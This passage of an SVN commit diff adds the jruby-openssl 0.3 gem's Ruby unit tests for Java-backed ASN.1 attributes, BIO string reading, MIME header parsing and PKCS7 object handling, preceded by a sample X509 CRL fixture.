+----BEGIN X509 CRL-----
+MIIBlTB/AgEBMA0GCSqGSIb3DQEBBQUAMD0xEzARBgoJkiaJk/IsZAEZFgNvcmcx
+GTAXBgoJkiaJk/IsZAEZFglydWJ5LWxhbmcxCzAJBgNVBAMMAkNBFw0wODA3MTgx
+NzQxMjhaFw0wODA3MTgxODA4MDhaoA4wDDAKBgNVHRQEAwIBATANBgkqhkiG9w0B
+AQUFAAOCAQEASJaj1keN+tMmsF3QmjH2RhbW/9rZAl4gjv+uQQqrcS2ByfkXLU1d
+l/8rCHeT/XMoeU6xhQNHPP3uZBwfuuETcp65BMBcZFOUhUR0U5AaGhvSDS/+6EsP
+zFdQgAagmThFdN5ei9guTLqWwN0ZyqiaHyevFJuk+L9qbKavaSeKqfJbU7Sj/Z3J
+WLKoixvyj3N6W7evygH80lTvjZugmxJ1/AjICVSYr1hpHHd6EWq0b0YFrGFmg27R
+WmsAXd0QV5UChfAJ2+Cz5U1bPszvIJGrzfAIoLxHv5rI5rseQzqZdPaFSe4Oehln
+9qEYmsK3PS6bYoQol0cgj97Ep4olS8CulA==
+-----END X509 CRL-----
+CRL
+    
+    X509Cert = X509AuxCertificate.new(CertificateFactory.getInstance("X.509",BCP.new).generateCertificate(ByteArrayInputStream.new(X509CertString.to_java_bytes)))
+    X509CRL = CertificateFactory.getInstance("X.509",BCP.new).generateCRL(ByteArrayInputStream.new(X509CRLString.to_java_bytes))
+  end
+  
+  require File.join(File.dirname(__FILE__), 'test_java_attribute')
+  require File.join(File.dirname(__FILE__), 'test_java_bio')
+  require File.join(File.dirname(__FILE__), 'test_java_mime')
+  require File.join(File.dirname(__FILE__), 'test_java_pkcs7')
+  require File.join(File.dirname(__FILE__), 'test_java_smime')
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/test_java_attribute.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/test_java_attribute.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/test_java_attribute.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,25 @@
+module PKCS7Test
+  class TestJavaAttribute < Test::Unit::TestCase
+    def test_attributes
+      val = ASN1::OctetString.new("foo".to_java_bytes)
+      val2 = ASN1::OctetString.new("bar".to_java_bytes)
+      attr = Attribute.create(123, 444, val)
+      assert_raises NoMethodError do 
+        attr.type = 12
+      end
+      assert_raises NoMethodError do 
+        attr.value = val2
+      end
+
+      assert_equal 123, attr.type
+      assert_equal val, attr.set.get(0)
+
+      attr2 = Attribute.create(123, 444, val)
+      
+      assert_equal attr, attr2
+      
+      assert_not_equal Attribute.create(124, 444, val), attr
+      assert_not_equal Attribute.create(123, 444, val2), attr
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/test_java_bio.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/test_java_bio.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/test_java_bio.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,42 @@
+module PKCS7Test
+  class TestJavaBIO < Test::Unit::TestCase
+    def test_string_bio_simple
+      bio = BIO::from_string("abc")
+      arr = Java::byte[20].new
+      read = bio.gets(arr, 10)
+      assert_equal 3, read
+      assert_equal "abc".to_java_bytes.to_a, arr.to_a[0...read]
+    end
+
+    def test_string_bio_simple_with_newline
+      bio = BIO::from_string("abc\n")
+      arr = Java::byte[20].new
+      read = bio.gets(arr, 10)
+      assert_equal 4, read
+      assert_equal "abc\n".to_java_bytes.to_a, arr.to_a[0...read]
+    end
+
+    def test_string_bio_simple_with_newline_and_more_data
+      bio = BIO::from_string("abc\nfoo\n\nbar")
+      arr = Java::byte[20].new
+      read = bio.gets(arr, 10)
+      assert_equal 4, read
+      assert_equal "abc\n".to_java_bytes.to_a, arr.to_a[0...read]
+
+      read = bio.gets(arr, 10)
+      assert_equal 4, read
+      assert_equal "foo\n".to_java_bytes.to_a, arr.to_a[0...read]
+    
+      read = bio.gets(arr, 10)
+      assert_equal 1, read
+      assert_equal "\n".to_java_bytes.to_a, arr.to_a[0...read]
+
+      read = bio.gets(arr, 10)
+      assert_equal 3, read
+      assert_equal "bar".to_java_bytes.to_a, arr.to_a[0...read]
+
+      read = bio.gets(arr, 10)
+      assert_equal 0, read
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/test_java_mime.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/test_java_mime.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/test_java_mime.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,173 @@
+module PKCS7Test
+  class TestJavaMime < Test::Unit::TestCase
+    def test_find_header_returns_null_on_nonexisting_header
+      headers = []
+      assert_nil Mime::DEFAULT.find_header(headers, "foo")
+
+      headers = [MimeHeader.new("blarg", "bluff")]
+      assert_nil Mime::DEFAULT.find_header(headers, "foo")
+    end
+
+    def test_find_header_returns_the_header_with_the_same_name
+      hdr = MimeHeader.new("one", "two")
+      assert_equal hdr, Mime::DEFAULT.find_header([hdr], "one")
+    end
+
+    def test_find_param_returns_null_on_nonexisting_param
+      assert_nil Mime::DEFAULT.find_param(MimeHeader.new("one", "two", []), "foo")
+      assert_nil Mime::DEFAULT.find_param(MimeHeader.new("one", "two", [MimeParam.new("hi", "ho")]), "foo")
+    end
+
+    def test_find_param_returns_the_param_with_the_same_name
+      par = MimeParam.new("hox", "box")
+      hdr = MimeHeader.new("one", "two", [par])
+      assert_equal par, Mime::DEFAULT.find_param(hdr, "hox")
+    end
+    
+    def test_simple_parse_headers
+      bio = BIO::from_string("Foo: bar")
+      result = Mime::DEFAULT.parse_headers(bio)
+      assert_equal 1, result.size
+      assert_equal MimeHeader.new("Foo", "bar"), result.first
+      assert_equal "foo", result.first.name
+    end
+
+    def test_simple_parse_headers2
+      bio = BIO::from_string("Foo:bar")
+      result = Mime::DEFAULT.parse_headers(bio)
+      assert_equal 1, result.size
+      assert_equal MimeHeader.new("Foo", "bar"), result.first
+      assert_equal "foo", result.first.name
+    end
+
+    def test_simple_parse_headers3
+      bio = BIO::from_string("Foo: bar")
+      result = Mime::DEFAULT.parse_headers(bio)
+      assert_equal 1, result.size
+      assert_equal MimeHeader.new("Foo", "bar"), result.first
+      assert_equal "foo", result.first.name
+    end
+
+    def test_simple_parse_headers4
+      bio = BIO::from_string("Foo: bar\n")
+      result = Mime::DEFAULT.parse_headers(bio)
+      assert_equal 1, result.size
+      assert_equal MimeHeader.new("Foo", "bar"), result.first
+      assert_equal "foo", result.first.name
+    end
+
+    def test_simple_parse_headers5
+      bio = BIO::from_string("     Foo        :                    bar    \n")
+      result = Mime::DEFAULT.parse_headers(bio)
+      assert_equal 1, result.size
+      assert_equal MimeHeader.new("Foo", "bar"), result.first
+      assert_equal "foo", result.first.name
+    end
+
+
+    def test_simple_parse_headers6
+      bio = BIO::from_string("Foo: bar;\n")
+      result = Mime::DEFAULT.parse_headers(bio)
+      assert_equal 1, result.size
+      assert_equal MimeHeader.new("Foo", "bar"), result.first
+      assert_equal "foo", result.first.name
+    end
+
+    def test_simple_parse_headers7
+      bio = BIO::from_string("Foo: bar;\nFlurg: blarg")
+      result = Mime::DEFAULT.parse_headers(bio)
+      assert_equal 2, result.size
+      assert_equal MimeHeader.new("Foo", "bar"), result[0]
+      assert_equal MimeHeader.new("Flurg", "blarg"), result[1]
+      assert_equal "foo", result[0].name
+      assert_equal "flurg", result[1].name
+    end
+
+    def test_simple_parse_headers_quotes
+      bio = BIO::from_string("Foo: \"bar\"")
+      result = Mime::DEFAULT.parse_headers(bio)
+      assert_equal 1, result.size
+      assert_equal MimeHeader.new("Foo", "bar"), result[0]
+      assert_equal "foo", result.first.name
+    end
+
+    def test_simple_parse_headers_comment
+      bio = BIO::from_string("Foo: (this is the right thing)ba(and this is the wrong one)r")
+      result = Mime::DEFAULT.parse_headers(bio)
+      assert_equal 1, result.size
+      assert_equal MimeHeader.new("Foo", "(this is the right thing)ba(and this is the wrong one)r"), result[0]
+      assert_equal "foo", result.first.name
+    end
+
+    def test_parse_headers_with_param
+      bio = BIO::from_string("Content-Type: Multipart/Related; boundary=MIME_boundary; type=text/xml")
+      result = Mime::DEFAULT.parse_headers(bio)
+      assert_equal 1, result.size
+      header = result.first
+      assert_equal "content-type", header.name
+      assert_equal "multipart/related", header.value
+      assert_equal [MimeParam.new("boundary","MIME_boundary"), 
+                    MimeParam.new("type","text/xml")], header.params.to_a
+    end
+
+    def test_parse_headers_with_param_newline
+      bio = BIO::from_string("Content-Type: Multipart/Related\n boundary=MIME_boundary; type=text/xml")
+      result = Mime::DEFAULT.parse_headers(bio)
+      assert_equal 1, result.size
+      header = result.first
+      assert_equal "content-type", header.name
+      assert_equal "multipart/related", header.value
+      assert_equal [MimeParam.new("boundary","MIME_boundary"), 
+                    MimeParam.new("type","text/xml")], header.params.to_a
+    end
+
+    def test_parse_headers_with_param_newline_and_semicolon
+      bio = BIO::from_string("Content-Type: Multipart/Related;\n boundary=MIME_boundary;\n Type=text/xml")
+      result = Mime::DEFAULT.parse_headers(bio)
+      assert_equal 1, result.size
+      header = result.first
+      assert_equal "content-type", header.name
+      assert_equal "multipart/related", header.value
+      assert_equal [MimeParam.new("boundary","MIME_boundary"), 
+                    MimeParam.new("type","text/xml")], header.params.to_a
+    end
+
+    def test_advanced_mime_message
+      bio = BIO::from_string(MultipartSignedString)
+      result = Mime::DEFAULT.parse_headers(bio)
+      
+      assert_equal "mime-version", result[0].name
+      assert_equal "1.0", result[0].value
+      
+      assert_equal "to", result[1].name
+      assert_equal "user2 at examples.com", result[1].value
+
+      assert_equal "from", result[2].name
+      assert_equal "alicedss at examples.com", result[2].value
+
+      assert_equal "subject", result[3].name
+      assert_equal "example 4.8", result[3].value
+
+      assert_equal "message-id", result[4].name
+      assert_equal "<020906002550300.249 at examples.com>", result[4].value
+
+      assert_equal "date", result[5].name
+      assert_equal "fri, 06 sep 2002 00:25:21 -0300", result[5].value
+      
+      assert_equal "content-type", result[6].name
+      assert_equal "multipart/signed", result[6].value
+      
+      assert_equal "micalg", result[6].params[0].param_name
+      assert_equal "SHA1", result[6].params[0].param_value
+
+      assert_equal "boundary", result[6].params[1].param_name
+      assert_equal "----=_NextBoundry____Fri,_06_Sep_2002_00:25:21", result[6].params[1].param_value
+
+      assert_equal "protocol", result[6].params[2].param_name
+      assert_equal "application/pkcs7-signature", result[6].params[2].param_value
+      
+      assert_equal 3, result[6].params.length
+      assert_equal 7, result.length
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/test_java_pkcs7.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/test_java_pkcs7.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/test_java_pkcs7.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,769 @@
+module PKCS7Test
+  class TestJavaPKCS7 < Test::Unit::TestCase
+    def test_is_signed
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_signed
+      assert p7.signed?
+      assert !p7.encrypted?
+      assert !p7.enveloped?
+      assert !p7.signed_and_enveloped?
+      assert !p7.data?
+      assert !p7.digest?
+    end
+
+    def test_is_encrypted
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_encrypted
+      assert !p7.signed?
+      assert p7.encrypted?
+      assert !p7.enveloped?
+      assert !p7.signed_and_enveloped?
+      assert !p7.data?
+      assert !p7.digest?
+    end
+
+    def test_is_enveloped
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_enveloped
+      assert !p7.signed?
+      assert !p7.encrypted?
+      assert p7.enveloped?
+      assert !p7.signed_and_enveloped?
+      assert !p7.data?
+      assert !p7.digest?
+    end
+
+    def test_is_signed_and_enveloped
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_signedAndEnveloped
+      assert !p7.signed?
+      assert !p7.encrypted?
+      assert !p7.enveloped?
+      assert p7.signed_and_enveloped?
+      assert !p7.data?
+      assert !p7.digest?
+    end
+
+    def test_is_data
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_data
+      assert !p7.signed?
+      assert !p7.encrypted?
+      assert !p7.enveloped?
+      assert !p7.signed_and_enveloped?
+      assert p7.data?
+      assert !p7.digest?
+    end
+
+    def test_is_digest
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_digest
+      assert !p7.signed?
+      assert !p7.encrypted?
+      assert !p7.enveloped?
+      assert !p7.signed_and_enveloped?
+      assert !p7.data?
+      assert p7.digest?
+    end
+
+    def test_set_detached
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_signed
+
+      sign = Signed.new
+      p7.sign = sign
+      
+      test_p7 = PKCS7.new
+      test_p7.type = ASN1Registry::NID_pkcs7_data 
+      test_p7.data = ASN1::OctetString.new("foo".to_java_bytes)
+      sign.contents = test_p7
+      
+      p7.detached = 2
+      assert_equal 1, p7.get_detached
+      assert_equal nil, test_p7.get_data
+    end
+
+    def test_set_not_detached
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_signed
+
+      sign = Signed.new
+      p7.sign = sign
+      
+      test_p7 = PKCS7.new
+      test_p7.type = ASN1Registry::NID_pkcs7_data 
+      data = ASN1::OctetString.new("foo".to_java_bytes)
+      test_p7.data = data
+      sign.contents = test_p7
+      
+      p7.detached = 0
+      assert_equal 0, p7.get_detached
+      assert_equal data, test_p7.get_data
+    end
+
+    def test_is_detached
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_signed
+
+      sign = Signed.new
+      p7.sign = sign
+      
+      test_p7 = PKCS7.new
+      test_p7.type = ASN1Registry::NID_pkcs7_data 
+      data = ASN1::OctetString.new("foo".to_java_bytes)
+      test_p7.data = data
+      sign.contents = test_p7
+      
+      p7.detached = 1
+      assert p7.detached?
+    end
+
+    def test_is_detached_with_wrong_type
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_data
+      
+      assert !p7.detached?
+    end
+    
+    def _test_encrypt_generates_enveloped_PKCS7_object
+      p7 = PKCS7.encrypt([], "".to_java_bytes, nil, 0)
+      assert !p7.signed?
+      assert !p7.encrypted?
+      assert p7.enveloped?
+      assert !p7.signed_and_enveloped?
+      assert !p7.data?
+      assert !p7.digest?
+    end
+    
+    def test_set_type_throws_exception_on_wrong_argument
+      assert_raises NativeException do 
+        # 42 is a value that is not one of the valid NID's for type
+        PKCS7.new.type = 42
+      end
+    end
+    
+    def test_set_type_signed
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_signed
+
+      assert p7.signed?
+      assert_equal 1, p7.get_sign.version
+
+      assert_nil p7.get_data
+      assert_nil p7.get_enveloped
+      assert_nil p7.get_signed_and_enveloped
+      assert_nil p7.get_digest
+      assert_nil p7.get_encrypted
+      assert_nil p7.get_other
+    end
+
+    def test_set_type_data
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_data
+
+      assert p7.data?
+      assert_equal ASN1::OctetString.new("".to_java_bytes), p7.get_data
+
+      assert_nil p7.get_sign
+      assert_nil p7.get_enveloped
+      assert_nil p7.get_signed_and_enveloped
+      assert_nil p7.get_digest
+      assert_nil p7.get_encrypted
+      assert_nil p7.get_other
+    end
+
+    def test_set_type_signed_and_enveloped
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_signedAndEnveloped
+
+      assert p7.signed_and_enveloped?
+      assert_equal 1, p7.get_signed_and_enveloped.version
+      assert_equal ASN1Registry::NID_pkcs7_data, p7.get_signed_and_enveloped.enc_data.content_type
+
+      assert_nil p7.get_sign
+      assert_nil p7.get_enveloped
+      assert_nil p7.get_data
+      assert_nil p7.get_digest
+      assert_nil p7.get_encrypted
+      assert_nil p7.get_other
+    end
+
+    def test_set_type_enveloped
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_enveloped
+
+      assert p7.enveloped?
+      assert_equal 0, p7.get_enveloped.version
+      assert_equal ASN1Registry::NID_pkcs7_data, p7.get_enveloped.enc_data.content_type
+
+      assert_nil p7.get_sign
+      assert_nil p7.get_signed_and_enveloped
+      assert_nil p7.get_data
+      assert_nil p7.get_digest
+      assert_nil p7.get_encrypted
+      assert_nil p7.get_other
+    end
+
+    def test_set_type_encrypted
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_encrypted
+
+      assert p7.encrypted?
+      assert_equal 0, p7.get_encrypted.version
+      assert_equal ASN1Registry::NID_pkcs7_data, p7.get_encrypted.enc_data.content_type
+
+      assert_nil p7.get_sign
+      assert_nil p7.get_signed_and_enveloped
+      assert_nil p7.get_data
+      assert_nil p7.get_digest
+      assert_nil p7.get_enveloped
+      assert_nil p7.get_other
+    end
+
+    def test_set_type_digest
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_digest
+
+      assert p7.digest?
+      assert_equal 0, p7.get_digest.version
+
+      assert_nil p7.get_sign
+      assert_nil p7.get_signed_and_enveloped
+      assert_nil p7.get_data
+      assert_nil p7.get_encrypted
+      assert_nil p7.get_enveloped
+      assert_nil p7.get_other
+    end
+    
+    def test_set_cipher_on_non_enveloped_object
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_digest
+      
+      assert_raises NativeException do 
+        p7.cipher = nil
+      end
+      
+      p7.type = ASN1Registry::NID_pkcs7_encrypted
+
+      assert_raises NativeException do 
+        p7.cipher = nil
+      end
+
+      p7.type = ASN1Registry::NID_pkcs7_data
+
+      assert_raises NativeException do 
+        p7.cipher = nil
+      end
+
+      p7.type = ASN1Registry::NID_pkcs7_signed
+
+      assert_raises NativeException do 
+        p7.cipher = nil
+      end
+    end
+    
+    def test_set_cipher_on_enveloped_object
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_enveloped
+
+      cipher = javax.crypto.Cipher.getInstance("RSA")
+      
+      p7.cipher = cipher
+      
+      assert_equal cipher, p7.get_enveloped.enc_data.cipher
+    end
+
+    
+    def test_set_cipher_on_signedAndEnveloped_object
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_signedAndEnveloped
+
+      cipher = javax.crypto.Cipher.getInstance("RSA")
+      
+      p7.cipher = cipher
+      
+      assert_equal cipher, p7.get_signed_and_enveloped.enc_data.cipher
+    end
+    
+    def test_add_recipient_info_to_something_that_cant_have_recipients
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_signed
+      assert_raises NativeException do 
+        p7.add_recipient(X509Cert)
+      end
+
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_data
+      assert_raises NativeException do 
+        p7.add_recipient(X509Cert)
+      end
+      
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_encrypted
+      assert_raises NativeException do 
+        p7.add_recipient(X509Cert)
+      end
+      
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_digest
+      assert_raises NativeException do 
+        p7.add_recipient(X509Cert)
+      end
+    end
+
+    def test_add_recipient_info_to_enveloped_should_add_that_to_stack
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_enveloped
+      
+      ri = p7.add_recipient(X509Cert)
+      
+      assert_equal 1, p7.get_enveloped.recipient_info.size
+      assert_equal ri, p7.get_enveloped.recipient_info.iterator.next
+    end
+
+
+    def test_add_recipient_info_to_signedAndEnveloped_should_add_that_to_stack
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_signedAndEnveloped
+      
+      ri = p7.add_recipient(X509Cert)
+      
+      assert_equal 1, p7.get_signed_and_enveloped.recipient_info.size
+      assert_equal ri, p7.get_signed_and_enveloped.recipient_info.iterator.next
+    end
+    
+    def test_add_signer_to_something_that_cant_have_signers
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_enveloped
+      assert_raises NativeException do 
+        p7.add_signer(SignerInfoWithPkey.new(nil, nil, nil, nil, nil, nil, nil))
+      end
+
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_data
+      assert_raises NativeException do 
+        p7.add_signer(SignerInfoWithPkey.new(nil, nil, nil, nil, nil, nil, nil))
+      end
+      
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_encrypted
+      assert_raises NativeException do 
+        p7.add_signer(SignerInfoWithPkey.new(nil, nil, nil, nil, nil, nil, nil))
+      end
+      
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_digest
+      assert_raises NativeException do 
+        p7.add_signer(SignerInfoWithPkey.new(nil, nil, nil, nil, nil, nil, nil))
+      end
+    end
+
+    def test_add_signer_to_signed_should_add_that_to_stack
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_signed
+      
+      si = SignerInfoWithPkey.new(nil, nil, nil, nil, nil, nil, nil)
+      p7.add_signer(si)
+      
+      assert_equal 1, p7.get_sign.signer_info.size
+      assert_equal si, p7.get_sign.signer_info.iterator.next
+    end
+
+
+    def test_add_signer_to_signedAndEnveloped_should_add_that_to_stack
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_signedAndEnveloped
+      
+      si = SignerInfoWithPkey.new(nil, nil, nil, nil, nil, nil, nil)
+      p7.add_signer(si)
+      
+      assert_equal 1, p7.get_signed_and_enveloped.signer_info.size
+      assert_equal si, p7.get_signed_and_enveloped.signer_info.iterator.next
+    end
+
+    def create_signer_info_with_algo(algo)
+      md5 = AlgorithmIdentifier.new(ASN1Registry.nid2obj(4))
+      SignerInfoWithPkey.new(DERInteger.new(BigInteger::ONE), 
+                     IssuerAndSerialNumber.new(X509Name.new("C=SE"), DERInteger.new(BigInteger::ONE)), 
+                     algo, 
+                     DERSet.new, 
+                     md5, 
+                     DEROctetString.new([].to_java(:byte)), 
+                     DERSet.new)
+    end
+    
+    def test_add_signer_to_signed_with_new_algo_should_add_that_algo_to_the_algo_list
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_signed
+
+      # YES, these numbers are correct. Don't change them. They are OpenSSL internal NIDs
+      md5 = AlgorithmIdentifier.new(ASN1Registry.nid2obj(4))
+      md4 = AlgorithmIdentifier.new(ASN1Registry.nid2obj(5))
+      
+      si = create_signer_info_with_algo(md5)
+      p7.add_signer(si)
+
+      assert_equal md5, p7.get_sign.md_algs.iterator.next
+      assert_equal 1, p7.get_sign.md_algs.size
+
+      si = create_signer_info_with_algo(md5)
+      p7.add_signer(si)
+
+      assert_equal md5, p7.get_sign.md_algs.iterator.next
+      assert_equal 1, p7.get_sign.md_algs.size
+
+      si = create_signer_info_with_algo(md4)
+      p7.add_signer(si)
+
+      assert_equal 2, p7.get_sign.md_algs.size
+      assert p7.get_sign.md_algs.contains(md4)
+      assert p7.get_sign.md_algs.contains(md5)
+    end
+
+
+    def test_add_signer_to_signedAndEnveloped_with_new_algo_should_add_that_algo_to_the_algo_list
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_signedAndEnveloped
+      
+      # YES, these numbers are correct. Don't change them. They are OpenSSL internal NIDs
+      md5 = AlgorithmIdentifier.new(ASN1Registry.nid2obj(4))
+      md4 = AlgorithmIdentifier.new(ASN1Registry.nid2obj(5))
+
+      si = create_signer_info_with_algo(md5)
+      p7.add_signer(si)
+
+      assert_equal md5, p7.get_signed_and_enveloped.md_algs.iterator.next
+      assert_equal 1, p7.get_signed_and_enveloped.md_algs.size
+
+      si = create_signer_info_with_algo(md5)
+      p7.add_signer(si)
+
+      assert_equal md5, p7.get_signed_and_enveloped.md_algs.iterator.next
+      assert_equal 1, p7.get_signed_and_enveloped.md_algs.size
+
+      si = create_signer_info_with_algo(md4)
+      p7.add_signer(si)
+
+      assert_equal 2, p7.get_signed_and_enveloped.md_algs.size
+      assert p7.get_signed_and_enveloped.md_algs.contains(md4)
+      assert p7.get_signed_and_enveloped.md_algs.contains(md5)
+    end
+    
+    def test_set_content_on_data_throws_exception
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_data
+      assert_raises NativeException do 
+        p7.setContent(PKCS7.new)
+      end
+    end
+
+    def test_set_content_on_enveloped_throws_exception
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_enveloped
+      assert_raises NativeException do 
+        p7.setContent(PKCS7.new)
+      end
+    end
+
+    def test_set_content_on_signedAndEnveloped_throws_exception
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_signedAndEnveloped
+      assert_raises NativeException do 
+        p7.setContent(PKCS7.new)
+      end
+    end
+
+    def test_set_content_on_encrypted_throws_exception
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_encrypted
+      assert_raises NativeException do 
+        p7.setContent(PKCS7.new)
+      end
+    end
+
+    def test_set_content_on_signed_sets_the_content
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_signed
+      p7new = PKCS7.new
+      p7.setContent(p7new)
+      
+      assert_equal p7new, p7.get_sign.contents
+    end
+
+    def test_set_content_on_digest_sets_the_content
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_digest
+      p7new = PKCS7.new
+      p7.setContent(p7new)
+      
+      assert_equal p7new, p7.get_digest.contents
+    end
+    
+    def test_get_signer_info_on_digest_returns_null
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_digest
+      assert_nil p7.signer_info
+    end
+
+    def test_get_signer_info_on_data_returns_null
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_data
+      assert_nil p7.signer_info
+    end
+
+    def test_get_signer_info_on_encrypted_returns_null
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_encrypted
+      assert_nil p7.signer_info
+    end
+
+    def test_get_signer_info_on_enveloped_returns_null
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_enveloped
+      assert_nil p7.signer_info
+    end
+
+    def test_get_signer_info_on_signed_returns_signer_info
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_signed
+      assert_equal p7.get_sign.signer_info.object_id, p7.signer_info.object_id
+    end
+
+    def test_get_signer_info_on_signedAndEnveloped_returns_signer_info
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_signedAndEnveloped
+      assert_equal p7.get_signed_and_enveloped.signer_info.object_id, p7.signer_info.object_id
+    end
+    
+    def test_content_new_on_data_raises_exception
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_data
+      assert_raises NativeException do 
+        p7.content_new(ASN1Registry::NID_pkcs7_data)
+      end
+    end
+
+    def test_content_new_on_encrypted_raises_exception
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_encrypted
+      assert_raises NativeException do 
+        p7.content_new(ASN1Registry::NID_pkcs7_data)
+      end
+    end
+
+    def test_content_new_on_enveloped_raises_exception
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_enveloped
+      assert_raises NativeException do 
+        p7.content_new(ASN1Registry::NID_pkcs7_data)
+      end
+    end
+
+    def test_content_new_on_signedAndEnveloped_raises_exception
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_signedAndEnveloped
+      assert_raises NativeException do 
+        p7.content_new(ASN1Registry::NID_pkcs7_data)
+      end
+    end
+    
+    def test_content_new_on_digest_creates_new_content
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_digest
+      p7.content_new(ASN1Registry::NID_pkcs7_signedAndEnveloped)
+      assert p7.get_digest.contents.signed_and_enveloped?
+      
+      p7.content_new(ASN1Registry::NID_pkcs7_encrypted)
+      assert p7.get_digest.contents.encrypted?
+    end
+
+    def test_content_new_on_signed_creates_new_content
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_signed
+      p7.content_new(ASN1Registry::NID_pkcs7_signedAndEnveloped)
+      assert p7.get_sign.contents.signed_and_enveloped?
+      
+      p7.content_new(ASN1Registry::NID_pkcs7_encrypted)
+      assert p7.get_sign.contents.encrypted?
+    end
+
+    
+    def test_add_certificate_on_data_throws_exception
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_data
+      assert_raises NativeException do 
+        p7.add_certificate(X509Cert)
+      end
+    end
+
+    def test_add_certificate_on_enveloped_throws_exception
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_enveloped
+      assert_raises NativeException do 
+        p7.add_certificate(X509Cert)
+      end
+    end
+
+    def test_add_certificate_on_encrypted_throws_exception
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_encrypted
+      assert_raises NativeException do 
+        p7.add_certificate(X509Cert)
+      end
+    end
+
+    def test_add_certificate_on_digest_throws_exception
+      p7 = PKCS7.new
+      p7.type = ASN1Registry::NID_pkcs7_digest
+      assert_raises NativeException do 
+        p7.add_certificate(X509Cert)
+      end
+    end
+
+    def test_add_certificate_on_signed_adds_the_certificate
+      p7 = PKCS7.new
